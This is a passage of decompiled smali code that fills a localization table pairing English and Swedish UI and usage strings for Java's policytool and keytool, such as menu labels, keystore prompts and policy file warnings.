                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <certifikatsfil>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <nytt_lagringsl\u00f6senord>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Varning! Det finns ingen offentlig nyckel f\u00f6r aliaset {0}. Kontrollera att det aktuella nyckellagret \u00e4r korrekt konfigurerat."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Varning! Klassen hittades inte: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Varning! Ogiltigt/Ogiltiga argument f\u00f6r konstrukt\u00f6r: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Ogiltig huvudtyp: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Ogiltigt alternativ: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "G\u00f6r s\u00e5 h\u00e4r: policytool [alternativ]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <fil>] policyfilens plats"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "Nytt"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\u00d6ppna"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Spara"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Spara som"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "Visa varningslogg"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Avsluta"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "L\u00e4gg till policypost"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Redigera policypost"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "Ta bort policypost"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Redigera"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Beh\u00e5ll"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "L\u00e4gg till offentligt nyckelalias"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Ta bort offentligt nyckelalias"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "Arkiv"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "Nyckellager"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Policyfil:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "Det g\u00e5r inte att \u00f6ppna policyfilen: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Policyverktyg"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Det uppstod ett fel n\u00e4r policykonfigurationen skulle \u00f6ppnas. Visa varningsloggen med ytterligare information."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Fel"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "OK"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "Status"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Varning"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Beh\u00f6righet: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principaltyp:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principalnamn:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "M\u00e5lets namn: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Funktioner: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "Ska den befintliga filen {0} skrivas \u00f6ver?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Avbryt"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "L\u00e4gg till principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Redigera principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Ta bort principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principaler:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " L\u00e4gg till beh\u00f6righet"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Redigera beh\u00f6righet"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Ta bort beh\u00f6righet"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Klar"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "Webbadress f\u00f6r nyckellager:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "Nyckellagertyp:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "Nyckellagerleverant\u00f6r:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "Webbadress f\u00f6r l\u00f6senord till nyckellager:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principaler"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Redigera principal:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " L\u00e4gg till ny principal:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Beh\u00f6righet"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Redigera beh\u00f6righet:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " L\u00e4gg till ny beh\u00f6righet:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Signerad av:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "Det g\u00e5r inte att specificera principal med wildcard-klass utan wildcard-namn"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "Det g\u00e5r inte att specificera principal utan namn"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "Beh\u00f6righet och m\u00e5lnamn m\u00e5ste ha ett v\u00e4rde"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "Vill du ta bort den h\u00e4r policyposten?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Skriva \u00f6ver fil"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "Policy har skrivits till {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "nullfilnamn"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "Vill du spara \u00e4ndringarna?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "Ja"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "Nej"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "Policyfel"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "Vill du spara \u00e4ndringarna?"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "N\u00e5gon policypost har inte markerats"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "Det g\u00e5r inte att \u00f6ppna nyckellagret: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "Ingen principal har markerats"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "N\u00e5gon beh\u00f6righet har inte markerats"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "namn"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "konfigurationstyp"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "variabelnamn f\u00f6r milj\u00f6"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "biblioteksnamn"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "paketnamn"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "policytyp"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "egenskapsnamn"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "leverant\u00f6rsnamn"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Huvudlista"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Beh\u00f6righetslista"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Kodbas"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "Webbadress f\u00f6r nyckellager:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
